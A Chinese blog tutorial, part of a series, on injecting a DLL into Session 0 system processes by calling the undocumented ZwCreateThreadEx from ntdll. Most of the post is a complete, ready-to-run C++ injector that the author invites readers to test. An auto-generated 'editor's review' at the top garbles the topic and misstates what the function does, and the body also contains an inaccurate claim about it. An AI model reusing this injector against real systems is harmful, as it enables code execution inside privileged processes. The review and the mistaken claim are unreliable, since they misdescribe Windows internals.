3.3 DLL注入:突破会话0强力注入

dll,注入,突破,强力 · 浏览次数 : 41

小编点评

**Session 0 窗口安全特性** Session 0 窗口是一种安全特性的安全机制,它可以限制攻击者可用的攻击面。 **拆分 Session 0 和用户会话** Session 0 和用户会话是两个独立的安全上下文。Session 0 是用于运行安全代码的上下文,而用户会话是用于运行应用程序的上下文。 **DLL 注入** 当攻击者可以注入恶意代码到一个进程时,他们可以将恶意代码注入到用户会话中。这可以导致攻击者访问系统资源或安装恶意软件。 ** ZwCreateThreadEx 函数** ZwCreateThreadEx 函数用于创建一个与特定进程互斥的线程。 **强力注入** 通过调用 ZwCreateThreadEx 函数,攻击者可以将恶意代码注入到一个进程中。这可以导致攻击者访问系统资源或安装恶意软件。 **结论** Session 0 窗口安全特性可以提供一种防御恶意代码注入的良好方法。通过使用安全机制,攻击者可以限制恶意代码的可访问性。

正文

Session是Windows系统的一个安全特性,该特性引入了针对用户体验提高的安全机制,即拆分Session 0和用户会话,这种拆分Session 0Session 1的机制对于提高安全性非常有用,这是因为将桌面服务进程,驱动程序以及其他系统级服务取消了与用户会话的关联,从而限制了攻击者可用的攻击面。

由于DLL注入在Session 0中的注入机制不同于在用户会话中的注入机制,因此需要特别的考虑和处理。如果需要执行DLL注入,必须使用过度级别安全机制解决Session 0上下文问题,并且在设计安全方案时,必须考虑Session 0Session 1之间的区别。

在之前的远程线程注入章节中,我们通过使用CreateRemoteThread()这个函数来完成线程注入,此方式可以注入普通的进程,但却无法注入到系统进程中,因为系统进程是处在SESSION0高权限级别的会话层,由于CreateRemoteThread()底层会调用ZwCreateThreadEx()这个未公开的内核函数,所以当我们调用该函数的底层函数时则可实现突破Session0的注入机制。

由于该内核函数并未被导出,所以我们必须找到该函数的原型定义,并通过GetProcAddress获取到ntdll.dll模块下的ZwCreateThreadEx的函数地址,并通过ZwCreateThreadEx函数指针直接调用模块;

#ifdef _WIN64
  typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    ULONG CreateThreadFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    LPVOID pUnkown);
#else
  typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    LPVOID ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    BOOL CreateSuspended,
    DWORD dwStackSize,
    DWORD dw1,
    DWORD dw2,
    LPVOID pUnkown);
#endif

当拿到ZwCreateThreadEx函数指针时,则接下来就可以调用了,ZwCreateThreadEx 可以用于创建一个远程线程,即在目标进程中创建一个线程,并在这个线程中运行指定的代码。与CreateRemoteThread不同,ZwCreateThreadEx可以用于创建一个在指定进程的上下文之外的线程,即可以创建一个与指定进程无关的线程。

它的函数原型定义如下:

NTSYSAPI NTSTATUS NTAPI ZwCreateThreadEx(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE ProcessHandle,
    PVOID StartRoutine,
    PVOID Argument,
    ULONG CreateFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    PPS_ATTRIBUTE_LIST AttributeList);

其参数说明如下:

  • ThreadHandle 用于返回创建的线程句柄的指针。
  • DesiredAccess 用于指定线程句柄的访问权限。
  • ObjectAttributes 一个指向 OBJECT_ATTRIBUTES 结构的指针,指定线程对象的对象名和安全性属性。
  • ProcessHandle 目标进程的句柄,即在哪个进程中创建新线程。
  • StartRoutine 一个指向新线程的入口点的指针。
  • Argument 第二个参数传递给新线程的指针。
  • CreateFlags 指定创建线程的属性,如堆栈大小、创建标志、线程属性等。
  • ZeroBits 保留参数,应该传递0。
  • StackSize 线程堆栈大小。
  • MaximumStackSize 线程堆栈的最大大小。
  • AttributeList 指向结构 PS_ATTRIBUTE_LIST,该结构可以用于在线程创建时指定各种属性。

具备了上述基本条件那么注入代码的事项将变得非常容易,如下代码是这个注入程序的完整实现流程,读者可自行测试注入效果;

#include <windows.h>
#include <iostream>
#include <TlHelp32.h>
#include <tchar.h>

// 传入进程名称返回该进程PID
DWORD FindProcessID(LPCTSTR szProcessName)
{
    DWORD dwPID = 0xFFFFFFFF;
    HANDLE hSnapShot = INVALID_HANDLE_VALUE;
    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(PROCESSENTRY32);
    hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
    Process32First(hSnapShot, &pe);
    do
    {
        if (!_tcsicmp(szProcessName, (LPCTSTR)pe.szExeFile))
        {
            dwPID = pe.th32ProcessID;
            break;
        }
    } while (Process32Next(hSnapShot, &pe));
    CloseHandle(hSnapShot);
    return dwPID;
}

// 强力注入
BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pDllName)
{
    HANDLE hProcess = NULL;
    SIZE_T dwSize = 0;
    LPVOID pDllAddr = NULL;
    FARPROC pFuncProcAddr = NULL;
    HANDLE hRemoteThread = NULL;
    DWORD dwStatus = 0;

    // 打开注入进程
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (NULL == hProcess)
    {
        return FALSE;
    }

    // 在注入进程中申请内存
    dwSize = sizeof(char) + lstrlen(pDllName);
    pDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
    if (NULL == pDllAddr)
    {
        return FALSE;
    }

    // 向申请的内存中写入数据
    if (FALSE == WriteProcessMemory(hProcess, pDllAddr, pDllName, dwSize, NULL))
    {
        return FALSE;
    }

    // 加载ntdll.dll模块
    HMODULE hNtdllDll = LoadLibrary("ntdll.dll");
    if (NULL == hNtdllDll)
    {
        return FALSE;
    }

    // 获取LoadLibraryA函数地址
    pFuncProcAddr = GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
    if (NULL == pFuncProcAddr)
    {
        return FALSE;
    }

    // 获取ZwCreateThread函数地址
#ifdef _WIN64
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        ULONG CreateThreadFlags,
        SIZE_T ZeroBits,
        SIZE_T StackSize,
        SIZE_T MaximumStackSize,
        LPVOID pUnkown);
#else
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        BOOL CreateSuspended,
        DWORD dwStackSize,
        DWORD dw1,
        DWORD dw2,
        LPVOID pUnkown);
#endif
    
    typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
    if (NULL == ZwCreateThreadEx)
    {
        return FALSE;
    }
    // 调用函数执行强力注入
    dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess,
        (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
    if (NULL == hRemoteThread)
    {
        return FALSE;
    }

    // 关闭句柄
    CloseHandle(hProcess);
    FreeLibrary(hNtdllDll);
    return TRUE;
}

int main(int argc, char *argv[])
{
    DWORD pid = FindProcessID("lyshark.exe");
    std::cout << "进程PID: " << pid << std::endl;

    bool flag = ZwCreateThreadExInjectDll(pid, (char *)"d://hook.dll");
    std::cout << "注入状态: " << flag << std::endl;

    return 0;
}

本文作者: 王瑞
本文链接: https://www.lyshark.com/post/102cca99.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!

与3.3 DLL注入:突破会话0强力注入相似的内容:

3.3 DLL注入:突破会话0强力注入

Session是`Windows`系统的一个安全特性,该特性引入了针对用户体验提高的安全机制,即拆分Session 0和用户会话,这种拆分`Session 0`和`Session 1`的机制对于提高安全性非常有用,这是因为将桌面服务进程,驱动程序以及其他系统级服务取消了与用户会话的关联,从而限制了攻击者可用的攻击面。由于`DLL`注入在`Session 0`中的注入机制不同于在用户会话中的注入机制

3.1 DLL注入:常规远程线程注入

动态链接库注入技术是一种特殊的技术,它允许在运行的进程中注入DLL动态链接库,从而改变目标进程的行为。DLL注入的实现方式有许多,典型的实现方式为远程线程注入,该注入方式的注入原理是利用了`Windows`系统中提供的`CreateRemoteThread()`这个API函数,该函数第四个参数是准备运行的线程,我们将`LoadLibrary()`函数填入其中,这样就可以执行远程进程中的`LoadL

3.2 DLL注入:远程APC异步注入

APC(Asynchronous Procedure Call)异步过程调用是一种`Windows`操作系统的核心机制,它允许在进程上下文中执行用户定义的函数,而无需创建线程或等待OS执行完成。该机制适用于一些频繁的、短暂的或非常细微的操作,例如改变线程优先级或通知线程处理任务。在`APC机制`中,当某些事件发生时(例如文件IO,网络IO或定时器触发),这些事件将被操作系统添加到一个`APC队列`

3.4 DLL注入:全局消息钩子注入

SetWindowHookEx 是`Windows`系统的一个函数,可用于让一个应用程序安装全局钩子,但读者需要格外注意该方法安装的钩子会由操作系统注入到所有可执行进程内,虽然该注入方式可以用于绕过游戏保护实现注入,但由于其属于全局注入所以所有的进程都会受到影响,而如果想要解决这个问题,则需要在`DllMain()`也就是动态链接库开头位置进行判断,如果是我们所需操作的进程则执行该DLL模块内的功

[Cmake Qt]找不到文件ui_xx.h的问题?有关Qt工程的问题,看这篇文章就行了。

前言 最近在开发一个组件,但是这个东西是以dll的形式发布的界面库,所以在开发的时候就需要上层调用。 如果你是很懂CMake的话,ui_xx.h的文件目录在 $ 下 然后除了有关这个ui_xx.h,还有一些别的可以简单聊聊的 一、父子工程组织,或者说依赖关系 在使用CMake进行开发的时候,一般可以

4.3 IAT Hook 挂钩技术

IAT(Import Address Table)Hook是一种针对Windows操作系统的API Hooking 技术,用于修改应用程序对动态链接库(DLL)中导入函数的调用。IAT是一个数据结构,其中包含了应用程序在运行时使用的导入函数的地址。IAT Hook的原理是通过修改IAT中的函数指针,将原本要调用的函数指向另一个自定义的函数。这样,在应用程序执行时,当调用被钩子的函数时,实际上会执行

cmake构建32位应用程序

1. 背景介绍 2. 工具介绍 3. 环境搭建 4. MinGW编译器版本 1. 背景介绍 最近需要使用第三方动态库文件G33DDCAPI.dll进行二次开发。由于这个动态库文件生成的时间比较早,且只提供了32位的版本,并没有提供源代码。如果希望利用这个动态库进行开发,有两种解决方法: 编译64位应

[转帖]3.3.6. 活跃会话历史报告SYS_KSH

https://help.kingbase.com.cn/v8/perfor/performance-optimization/performance-optimization-6.html#sys-ksh sys_stat_activity 里记录的等待事件是瞬时信息,没有对等待事件的时间进行累计

[转帖]3.3.7. 自动诊断和建议报告SYS_KDDM

https://help.kingbase.com.cn/v8/perfor/performance-optimization/performance-optimization-6.html#sys-ksh KDDM 是 KingbaseES 性能自动诊断和建议的报告。它基于 KWR 快照采集的性能

[转帖]3.3.8. KWR运行期对比报告 KWR DIFF

https://help.kingbase.com.cn/v8/perfor/performance-optimization/performance-optimization-6.html#sys-ksh KWR报告是Diff报告的基础,在数据库运行过程中,通常在业务的高峰期和低谷期,或者在参数调